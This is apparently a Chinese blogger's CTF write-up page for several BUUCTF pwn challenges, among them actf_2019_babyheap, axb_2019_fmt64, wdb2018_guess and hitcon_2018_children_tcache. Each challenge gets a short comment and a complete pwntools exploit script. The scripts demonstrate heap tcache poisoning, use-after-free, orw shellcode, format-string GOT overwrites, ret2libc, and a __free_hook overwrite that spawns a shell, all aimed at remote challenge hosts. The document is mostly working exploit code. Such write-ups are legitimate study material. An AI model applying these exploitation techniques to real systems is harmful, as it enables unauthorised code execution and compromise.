后门都给出来了,直接改0x602090的值为0即可,注意不是数字0,是\x00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")


#p=process('./pwn')
p=remote('node5.buuoj.cn',29944)

def add(size):
sla(b'choice>',b'1')
sla(b'size>',str(size))

def free(idx):
sla(b'choice>',b'2')
sla(b'index>',str(idx))

def edit(idx,content):
sla(b'choice>',b'3')
sla(b'index>',str(idx))
sl(content)

def edit2(idx,content):
sla(b'choice>',b'3')
sla(b'index>',str(idx))
s(content)

def debug():
gdb.attach(p)
pause()

buf=0x602090

add(0x40)

free(0)


edit(0,p64(buf-0x10))

add(0x40)
add(0x40)


edit2(2,b'\x00'*8)
#debug()
sla(b'choice>',b'4')


p.interactive()

actf_2019_babyheap

这题写的气死我了,开始没看到system /bin/sh\x00全给了,疯狂在想着怎么去泄露libc,因为UAF,想着unsortedbin,结果怎么申请都是tcache_bin 申请多了会直接退出,申请大于0x400会直接失效

结果网上一看wp,吐了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *



s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")


#p=process('./pwn1')
p=remote('node5.buuoj.cn',25912)
elf=ELF('./pwn1')
context(arch = 'amd64',os = 'linux',log_level = 'debug')

def add(size,content):
sla(b'Your choice:',b'1')
sla(b'Please input size:',str(size))
sla(b'Please input content:',content)

def free(idx):
sla(b'Your choice:',b'2')
sla(b'Please input list index:',str(idx))

def show(idx):
sla(b'Your choice:',b'3')
sla(b'Please input list index:',str(idx))

def debug():
gdb.attach(p)
pause()

sh=0x602010
system=elf.plt['system']

add(0x80,b'bbbb')

add(0x80,b'bbbb')
add(0x10,b'cccc')
free(0)
free(1)
add(0x18,p64(sh)+p64(system))
#debug()
show(0)

p.interactive()

[极客大挑战 2019]Not Bad(shellcode)

开始我还想着怎么空间就是不够,原来要先跳转到开辟的空间上面,在执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p=process('./pwn')
p=remote('node5.buuoj.cn',29051)
#gdb.attach(p)
#pause()

mmap=0x123000

shellcode = asm('''

push 0x67616c66
push rsp
pop rdi

push 0
pop rsi

push 2
pop rax
syscall


push 3
pop rdi
push rsp
pop rsi

push 0x50
pop rdx
push 0
pop rax
syscall


push 1
pop rdi
push rsp
pop rsi

push 0x50
pop rdx
push 1
pop rax
syscall
''')


shell=asm(
'''
sub rsp,0x30
jmp rsp
'''
)

payload1=asm(shellcraft.read(0,mmap,0x100))+asm('''
mov rax,0x123000
call rax
''')

payload=payload1.ljust(0x28,b'\x90')+p64(0x400a01)+shell
p.send(payload)

p.sendline(shellcode)

p.interactive()

axb_2019_fmt64(fmtstr_payload)

fmtstr_payload这个用法也是第一次学到,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

#p=process('./pwn1')

p=remote('node5.buuoj.cn',29116)
elf=ELF('./pwn1')
#libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
libc=ELF('./libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
printf=elf.got['printf']
printf_plt=elf.plt['printf']



p.sendline(b'%83$p\x00')

p.recvuntil(b'0x')

leak_base=int(p.recv(12),16)-0x20830
log.success(f'libc>>>{hex(leak_base)}')

system=leak_base+libc.sym['system']
log.success(f'system>>>{hex(system)}')
#gdb.attach(p)
#pause()

# high_sys = (system >> 16) & 0xff
# low_sys = system & 0xffff
# #payload=fmtstr_payload(8, {printf_plt:system})
# # payload = b"%" + str(high_sys - 9) + b"c%12$hhn" + b"%" + str(low_sys - high_sys) + b"c%13$hn"

# # payload = payload.ljust(32,b"\x90") + p64(printf + 2) + p64(printf)


payload = fmtstr_payload(8, {printf:system}, write_size = 'byte', numbwritten = 0x9)


p.sendline(payload)


p.sendline(b';/bin/sh\x00')

p.interactive()

wustctf2020_name_your_cat

数组越界直接把后门写到返回地址处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *


context(arch = 'i386',os = 'linux',log_level = 'debug')
#p=process('./pwn')
p=remote(b'node5.buuoj.cn',25779)

shell=0x80485cb

p.sendlineafter(b'Name for which?',b'7')
p.sendlineafter(b'Give your name plz:',p32(shell))

p.sendlineafter(b'Name for which?',b'7')
p.sendlineafter(b'Give your name plz:',p32(shell))

p.sendlineafter(b'Name for which?',b'7')
p.sendlineafter(b'Give your name plz:',p32(shell))

p.sendlineafter(b'Name for which?',b'7')
p.sendlineafter(b'Give your name plz:',p32(shell))

p.sendlineafter(b'Name for which?',b'7')
p.sendlineafter(b'Give your name plz:',p32(shell))

p.interactive()

cmcc_pwnme1

后门不能用就是ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(log_level='debug')

#p=process('./pwn')
p=remote(b'node5.buuoj.cn',27544)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x80486f4


payload=b'a'*(0xA4+4)+p32(puts_plt)+p32(main)+p32(puts_got)

p.sendline(b'5')
p.sendline(payload)

leak=u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
libc_base=leak-libc.sym['puts']

bin_sh_addr=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.sym['system']

payload2=b'a'*0xa4+b'a'*4+p32(system_addr)+p32(main)+p32(bin_sh_addr)

p.sendline(b'5')
p.sendline(payload2)


p.interactive()

wdb2018_guess

循环三次,我开始还以为先利用fork爆破canary再ret2libc结果没搞出,后面才知道可以这样利用

详细题解看这个

wdb2018_guess题解 | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *


context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p = process("./pwn")
p=remote('node5.buuoj.cn',27624)
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

elf=ELF("./pwn")
libc=ELF('/home/yfy/pwn_tools/buu_libc/16-64/libc-2.23.so')
#libc=ELF('/home/yfy/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6')
puts_got=elf.got['puts']


offset=0x128
payload=b'a'*offset+p64(puts_got)

p.sendline(payload)
p.recvuntil(b"*** stack smashing detected ***: ")

leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=leak-libc.sym['puts']
environ = libc_base + libc.sym["environ"]


lg('libc_base',libc_base)
payload=b'a'*offset+p64(environ)


sla(b'Please type your guessing flag\n',payload)
p.recvuntil(b"*** stack smashing detected ***: ")
stack=u64(p.recv(6).ljust(8,b'\x00'))
lg('stack',stack)

flag=stack-0x168
get_flag=b'a'*offset+p64(flag)

# gdb.attach(p)
# pause()
sl(get_flag)

p.interactive()

第四页

hitcon_2018_children_tcache

详解hitcon_2018_children_tcache题解 | 鱼非愚 (yufeiyu33.github.io)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context(log_level='debug')
p=process("./pwn")
#p=remote('node5.buuoj.cn',27626)
elf=ELF("./pwn")

libc=ELF('libc-2.27.so')
def debug():
gdb.attach(p)
pause()
def add(size,data):
p.sendlineafter(b'Your choice: ',str(1))
p.sendlineafter(b'Size:',str(size))
p.sendlineafter(b'Data',data)
def show(idx):
p.sendlineafter(b'Your choice: ',b'2')
p.sendlineafter(b'Index:',str(idx))
def free(idx):
p.sendlineafter(b'Your choice: ',b'3')
p.sendlineafter(b'Index:',str(idx))

add(0x410,b'a')
add(0x68,b'b')
add(0x4f0,b'c')
add(0x30,b'd')

free(0)
free(1)

for i in range(9):
add(0x68 - i,b's'*(0x68-i))
free(0)



add(0x68,b'a'*0x60+p64(0x490))
free(2)

#debug()
add(0x410,b'a'*1)

#debug()
show(0)

leak=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0

log.info("libc="+hex(leak))
#debug()
shell=leak+0x4f322 #0x4f2be 0x4f2c5 0x4f322 0x10a38c
free_hook=leak+libc.sym["__free_hook"]

debug()
add(0x80,b'a')
#add(0x)

free(2)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'aaaa')
add(0x80,p64(shell))

free(0)

p.interactive()